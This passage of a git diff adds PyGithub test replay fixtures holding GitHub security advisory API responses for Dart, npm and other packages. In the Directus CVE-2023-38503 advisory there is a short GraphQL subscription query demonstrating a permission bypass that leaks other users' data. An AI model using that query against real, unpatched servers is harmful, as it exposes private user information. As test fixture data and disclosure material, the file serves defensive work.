\nD 3.0.1 \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3 \nElixir 3.0.0 \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1 \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0 \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0 \nKotlin 1.1.0 \nLua 3.0.1 \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2 \nPerl 3.0.0 \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2 \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1 \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0 \nScala 3.0.1 \nSwift 1.0.1 \n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)","type":"reviewed","severity":"low","repository_advisory_url":"https://api.github.com/repos/personnummer/dart/security-advisories/GHSA-4xh4-v2pq-jvhm","source_code_location":"https://github.com/personnummer/dart","identifiers":[{"value":"GHSA-4xh4-v2pq-jvhm","type":"GHSA"},{"value":"CVE-2023-22963","type":"CVE"}],"references":["https://github.com/personnummer/dart/security/advisories/GHSA-4xh4-v2pq-jvhm","https://pub.dev/packages/personnummer","https://nvd.nist.gov/vuln/detail/CVE-2023-22963","https://github.com/advisories/GHSA-4xh4-v2pq-jvhm"],"published_at":"2022-09-19T22:47:29Z","updated_at":"2023-01-11T18:59:11Z","github_reviewed_at":"2022-09-19T22:47:29Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"personnummer"},"vulnerable_version_range":"< 3.0.3","first_patched_version":"3.0.3","vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-20","name":"Improper Input Validation"}],"credits":[]},{"ghsa_id":"GHSA-jwpw-q68h-r678","cve_id":null,"url":"https://api.github.com/advisories/GHSA-jwpw-q68h-r678","html_url":"https://github.com/advisories/GHSA-jwpw-q68h-r678","summary":"Improper Neutralization of CRLF Sequences in dio","description":"The dio package prior to 5.0.0 for Dart allows CRLF injection if the attacker controls the HTTP method string, a different vulnerability than CVE-2020-35669.","type":"reviewed","severity":"high","repository_advisory_url":null,"source_code_location":"https://github.com/cfug/dio","identifiers":[{"value":"GHSA-jwpw-q68h-r678","type":"GHSA"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2021-31402","https://github.com/cfug/dio/issues/1130","https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984","https://osv.dev/GHSA-jwpw-q68h-r678","https://github.com/advisories/GHSA-jwpw-q68h-r678"],"published_at":"2022-05-24T17:47:44Z","updated_at":"2023-03-31T05:06:53Z","github_reviewed_at":"2022-09-15T03:27:03Z","nvd_published_at":"2021-04-15T19:15:00Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"dio"},"vulnerable_version_range":"< 5.0.0","first_patched_version":"5.0.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5},"cwes":[{"cwe_id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"},{"cwe_id":"CWE-88","name":"Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')"},{"cwe_id":"CWE-93","name":"Improper Neutralization of CRLF Sequences ('CRLF Injection')"}],"credits":[{"user":{"login":"AlexV525","id":15884415,"node_id":"MDQ6VXNlcjE1ODg0NDE1","avatar_url":"https://avatars.githubusercontent.com/u/15884415?v=4","gravatar_id":"","url":"https://api.github.com/users/AlexV525","html_url":"https://github.com/AlexV525","followers_url":"https://api.github.com/users/AlexV525/followers","following_url":"https://api.github.com/users/AlexV525/following{/other_user}","gists_url":"https://api.github.com/users/AlexV525/gists{/gist_id}","starred_url":"https://api.github.com/users/AlexV525/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AlexV525/subscriptions","organizations_url":"https://api.github.com/users/AlexV525/orgs","repos_url":"https://api.github.com/users/AlexV525/repos","events_url":"https://api.github.com/users/AlexV525/events{/privacy}","received_events_url":"https://api.github.com/users/AlexV525/received_events","type":"User","site_admin":false},"type":"analyst"}]},{"ghsa_id":"GHSA-4rgh-jx4f-qfcq","cve_id":"CVE-2020-35669","url":"https://api.github.com/advisories/GHSA-4rgh-jx4f-qfcq","html_url":"https://github.com/advisories/GHSA-4rgh-jx4f-qfcq","summary":"http before 0.13.3 vulnerable to header injection","description":"An issue was discovered in the http package before 0.13.3 for Dart. If the attacker controls the HTTP method and the app is using Request directly, it's possible to achieve CRLF injection in an HTTP request via HTTP header injection. This issue has been addressed in commit abb2bb182 by validating request methods.","type":"reviewed","severity":"medium","repository_advisory_url":null,"source_code_location":"https://github.com/dart-lang/http","identifiers":[{"value":"GHSA-4rgh-jx4f-qfcq","type":"GHSA"},{"value":"CVE-2020-35669","type":"CVE"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2020-35669","https://github.com/dart-lang/http/issues/511","https://github.com/dart-lang/http/blob/master/CHANGELOG.md#0133","https://github.com/dart-lang/http/pull/512","https://github.com/dart-lang/http/commit/abb2bb182fbd7f03aafd1f889b902d7b3bdb8769","https://pub.dev/packages/http/changelog#0133","https://github.com/advisories/GHSA-4rgh-jx4f-qfcq"],"published_at":"2022-05-24T17:37:16Z","updated_at":"2023-01-27T05:03:00Z","github_reviewed_at":"2022-08-04T21:05:04Z","nvd_published_at":"2020-12-24T03:15:00Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"http"},"vulnerable_version_range":"< 0.13.3","first_patched_version":"0.13.3","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1},"cwes":[{"cwe_id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"}],"credits":[]}] diff --git a/tests/ReplayData/Github.testGetGlobalAdvisoriesByCVE.txt b/tests/ReplayData/Github.testGetGlobalAdvisoriesByCVE.txt new file mode 100644 index 0000000000..a8d3f4a88c --- /dev/null +++ b/tests/ReplayData/Github.testGetGlobalAdvisoriesByCVE.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/advisories?cve_id=CVE-2023-38503 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:25:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b48ee9bb449156fad1cafe6ee6806aef190819b67c61901b0c8d17760bf2653"'), ('Last-Modified', 'Wed, 26 Jul 2023 17:50:01 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ADE0:039E:16DBA0F:2E5C19D:64C4788D')] +[{"ghsa_id":"GHSA-gggm-66rh-pp98","cve_id":"CVE-2023-38503","url":"https://api.github.com/advisories/GHSA-gggm-66rh-pp98","html_url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","summary":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n directus_users_mutated {\n event\n data {\n id\n last_access\n last_page\n }\n }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References\n\n","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/directus/directus/security-advisories/GHSA-gggm-66rh-pp98","source_code_location":"https://github.com/directus/directus","identifiers":[{"value":"GHSA-gggm-66rh-pp98","type":"GHSA"},{"value":"CVE-2023-38503","type":"CVE"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"published_at":"2023-07-25T23:31:10Z","updated_at":"2023-07-26T17:50:01Z","github_reviewed_at":"2023-07-25T23:31:10Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"directus"},"vulnerable_version_range":">= 10.3, < 10.5.0","first_patched_version":"10.5.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","score":5.7},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"credits":[{"user":{"login":"madc","id":343392,"node_id":"MDQ6VXNlcjM0MzM5Mg==","avatar_url":"https://avatars.githubusercontent.com/u/343392?v=4","gravatar_id":"","url":"https://api.github.com/users/madc","html_url":"https://github.com/madc","followers_url":"https://api.github.com/users/madc/followers","following_url":"https://api.github.com/users/madc/following{/other_user}","gists_url":"https://api.github.com/users/madc/gists{/gist_id}","starred_url":"https://api.github.com/users/madc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madc/subscriptions","organizations_url":"https://api.github.com/users/madc/orgs","repos_url":"https://api.github.com/users/madc/repos","events_url":"https://api.github.com/users/madc/events{/privacy}","received_events_url":"https://api.github.com/users/madc/received_events","type":"User","site_admin":false},"type":"reporter"}]}] diff --git a/tests/ReplayData/Github.testGetGlobalAdvisoriesByGHSA.txt b/tests/ReplayData/Github.testGetGlobalAdvisoriesByGHSA.txt new file mode 100644 index 0000000000..4009b46f78 --- /dev/null +++ b/tests/ReplayData/Github.testGetGlobalAdvisoriesByGHSA.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/advisories?ghsa_id=GHSA-9324-jv53-9cc8 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:25:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"50b5a7d3d24f29f08f0def324f1697b39b5bc1594b7a2f56a7fec80f33ca7bbf"'), ('Last-Modified', 'Wed, 22 Mar 2023 01:39:28 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ADEA:51D4:17628CB:2F5A005:64C4788D')] +[{"ghsa_id":"GHSA-9324-jv53-9cc8","cve_id":"CVE-2021-31402","url":"https://api.github.com/advisories/GHSA-9324-jv53-9cc8","html_url":"https://github.com/advisories/GHSA-9324-jv53-9cc8","summary":"dio vulnerable to CRLF injection with HTTP method string","description":"### Impact\nThe dio package 4.0.0 for Dart allows CRLF injection if the attacker controls the HTTP method string, a different vulnerability than CVE-2020-35669.\n\n### Patches\nThe vulnerability has been resolved by https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984, and included since v5.0.0.\n\n### Workarounds\nCherry-pick the commit to your own fork can resolves the vulberability too.\n\n### References\n- https://nvd.nist.gov/vuln/detail/CVE-2021-31402\n- https://osv.dev/GHSA-jwpw-q68h-r678\n- https://github.com/cfug/dio/issues/1130\n- https://github.com/cfug/dio/issues/1752\n","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/cfug/dio/security-advisories/GHSA-9324-jv53-9cc8","source_code_location":"https://github.com/cfug/dio","identifiers":[{"value":"GHSA-9324-jv53-9cc8","type":"GHSA"},{"value":"CVE-2021-31402","type":"CVE"}],"references":["https://github.com/cfug/dio/security/advisories/GHSA-9324-jv53-9cc8","https://nvd.nist.gov/vuln/detail/CVE-2021-31402","https://github.com/cfug/dio/issues/1752","https://github.com/flutterchina/dio/issues/1130","https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984","https://osv.dev/GHSA-jwpw-q68h-r678","https://github.com/advisories/GHSA-9324-jv53-9cc8"],"published_at":"2023-03-21T22:41:11Z","updated_at":"2023-03-22T01:39:28Z","github_reviewed_at":"2023-03-21T22:41:11Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"dio"},"vulnerable_version_range":"< 5.0.0","first_patched_version":"5.0.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5},"cwes":[{"cwe_id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"},{"cwe_id":"CWE-88","name":"Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')"},{"cwe_id":"CWE-93","name":"Improper Neutralization of CRLF Sequences ('CRLF Injection')"}],"credits":[{"user":{"login":"licy183","id":45286352,"node_id":"MDQ6VXNlcjQ1Mjg2MzUy","avatar_url":"https://avatars.githubusercontent.com/u/45286352?v=4","gravatar_id":"","url":"https://api.github.com/users/licy183","html_url":"https://github.com/licy183","followers_url":"https://api.github.com/users/licy183/followers","following_url":"https://api.github.com/users/licy183/following{/other_user}","gists_url":"https://api.github.com/users/licy183/gists{/gist_id}","starred_url":"https://api.github.com/users/licy183/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/licy183/subscriptions","organizations_url":"https://api.github.com/users/licy183/orgs","repos_url":"https://api.github.com/users/licy183/repos","events_url":"https://api.github.com/users/licy183/events{/privacy}","received_events_url":"https://api.github.com/users/licy183/received_events","type":"User","site_admin":false},"type":"reporter"},{"user":{"login":"AlexV525","id":15884415,"node_id":"MDQ6VXNlcjE1ODg0NDE1","avatar_url":"https://avatars.githubusercontent.com/u/15884415?v=4","gravatar_id":"","url":"https://api.github.com/users/AlexV525","html_url":"https://github.com/AlexV525","followers_url":"https://api.github.com/users/AlexV525/followers","following_url":"https://api.github.com/users/AlexV525/following{/other_user}","gists_url":"https://api.github.com/users/AlexV525/gists{/gist_id}","starred_url":"https://api.github.com/users/AlexV525/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AlexV525/subscriptions","organizations_url":"https://api.github.com/users/AlexV525/orgs","repos_url":"https://api.github.com/users/AlexV525/repos","events_url":"https://api.github.com/users/AlexV525/events{/privacy}","received_events_url":"https://api.github.com/users/AlexV525/received_events","type":"User","site_admin":false},"type":"remediation_developer"},{"user":{"login":"set0x","id":15133015,"node_id":"MDQ6VXNlcjE1MTMzMDE1","avatar_url":"https://avatars.githubusercontent.com/u/15133015?v=4","gravatar_id":"","url":"https://api.github.com/users/set0x","html_url":"https://github.com/set0x","followers_url":"https://api.github.com/users/set0x/followers","following_url":"https://api.github.com/users/set0x/following{/other_user}","gists_url":"https://api.github.com/users/set0x/gists{/gist_id}","starred_url":"https://api.github.com/users/set0x/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/set0x/subscriptions","organizations_url":"https://api.github.com/users/set0x/orgs","repos_url":"https://api.github.com/users/set0x/repos","events_url":"https://api.github.com/users/set0x/events{/privacy}","received_events_url":"https://api.github.com/users/set0x/received_events","type":"User","site_admin":false},"type":"reporter"}]}] diff --git a/tests/ReplayData/Github.testGetGlobalAdvisoriesManyFilters.txt b/tests/ReplayData/Github.testGetGlobalAdvisoriesManyFilters.txt new file mode 100644 index 0000000000..d370e4c2ba --- /dev/null +++ b/tests/ReplayData/Github.testGetGlobalAdvisoriesManyFilters.txt @@ -0,0 +1,32 @@ +https +GET +api.github.com +None +/advisories?type=reviewed&ecosystem=npm&severity=medium&cwes=200%2C900&is_withdrawn=False&affects=directus%2Cmade_up&modified=%3E2023-07-01&sort=updated&direction=desc +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:29:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b48ee9bb449156fad1cafe6ee6806aef190819b67c61901b0c8d17760bf2653"'), ('Last-Modified', 'Wed, 26 Jul 2023 17:50:01 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C7F2:6E1D:1755983:2F5444B:64C47981')] +[{"ghsa_id":"GHSA-gggm-66rh-pp98","cve_id":"CVE-2023-38503","url":"https://api.github.com/advisories/GHSA-gggm-66rh-pp98","html_url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","summary":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n directus_users_mutated {\n event\n data {\n id\n last_access\n last_page\n }\n }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References\n\n","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/directus/directus/security-advisories/GHSA-gggm-66rh-pp98","source_code_location":"https://github.com/directus/directus","identifiers":[{"value":"GHSA-gggm-66rh-pp98","type":"GHSA"},{"value":"CVE-2023-38503","type":"CVE"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"published_at":"2023-07-25T23:31:10Z","updated_at":"2023-07-26T17:50:01Z","github_reviewed_at":"2023-07-25T23:31:10Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"directus"},"vulnerable_version_range":">= 10.3, < 10.5.0","first_patched_version":"10.5.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","score":5.7},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"credits":[{"user":{"login":"madc","id":343392,"node_id":"MDQ6VXNlcjM0MzM5Mg==","avatar_url":"https://avatars.githubusercontent.com/u/343392?v=4","gravatar_id":"","url":"https://api.github.com/users/madc","html_url":"https://github.com/madc","followers_url":"https://api.github.com/users/madc/followers","following_url":"https://api.github.com/users/madc/following{/other_user}","gists_url":"https://api.github.com/users/madc/gists{/gist_id}","starred_url":"https://api.github.com/users/madc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madc/subscriptions","organizations_url":"https://api.github.com/users/madc/orgs","repos_url":"https://api.github.com/users/madc/repos","events_url":"https://api.github.com/users/madc/events{/privacy}","received_events_url":"https://api.github.com/users/madc/received_events","type":"User","site_admin":false},"type":"reporter"}]}] + +https +GET +api.github.com +None +/advisories?type=reviewed&ecosystem=npm&severity=medium&cwes=200%2C900&is_withdrawn=False&affects=directus&updated=%3E2023-07-01&sort=updated&direction=desc +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:29:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b48ee9bb449156fad1cafe6ee6806aef190819b67c61901b0c8d17760bf2653"'), ('Last-Modified', 'Wed, 26 Jul 2023 17:50:01 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C802:56E8:18054F3:2F5F060:64C47981')] +[{"ghsa_id":"GHSA-gggm-66rh-pp98","cve_id":"CVE-2023-38503","url":"https://api.github.com/advisories/GHSA-gggm-66rh-pp98","html_url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","summary":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n directus_users_mutated {\n event\n data {\n id\n last_access\n last_page\n }\n }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References\n\n","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/directus/directus/security-advisories/GHSA-gggm-66rh-pp98","source_code_location":"https://github.com/directus/directus","identifiers":[{"value":"GHSA-gggm-66rh-pp98","type":"GHSA"},{"value":"CVE-2023-38503","type":"CVE"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"published_at":"2023-07-25T23:31:10Z","updated_at":"2023-07-26T17:50:01Z","github_reviewed_at":"2023-07-25T23:31:10Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"directus"},"vulnerable_version_range":">= 10.3, < 10.5.0","first_patched_version":"10.5.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","score":5.7},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"credits":[{"user":{"login":"madc","id":343392,"node_id":"MDQ6VXNlcjM0MzM5Mg==","avatar_url":"https://avatars.githubusercontent.com/u/343392?v=4","gravatar_id":"","url":"https://api.github.com/users/madc","html_url":"https://github.com/madc","followers_url":"https://api.github.com/users/madc/followers","following_url":"https://api.github.com/users/madc/following{/other_user}","gists_url":"https://api.github.com/users/madc/gists{/gist_id}","starred_url":"https://api.github.com/users/madc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madc/subscriptions","organizations_url":"https://api.github.com/users/madc/orgs","repos_url":"https://api.github.com/users/madc/repos","events_url":"https://api.github.com/users/madc/events{/privacy}","received_events_url":"https://api.github.com/users/madc/received_events","type":"User","site_admin":false},"type":"reporter"}]}] + +https +GET +api.github.com +None +/advisories?type=reviewed&ecosystem=npm&severity=medium&cwes=200%2C900&is_withdrawn=False&affects=directus&published=%3E2023-07-01&sort=updated&direction=desc +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:29:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b48ee9bb449156fad1cafe6ee6806aef190819b67c61901b0c8d17760bf2653"'), ('Last-Modified', 'Wed, 26 Jul 2023 17:50:01 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), 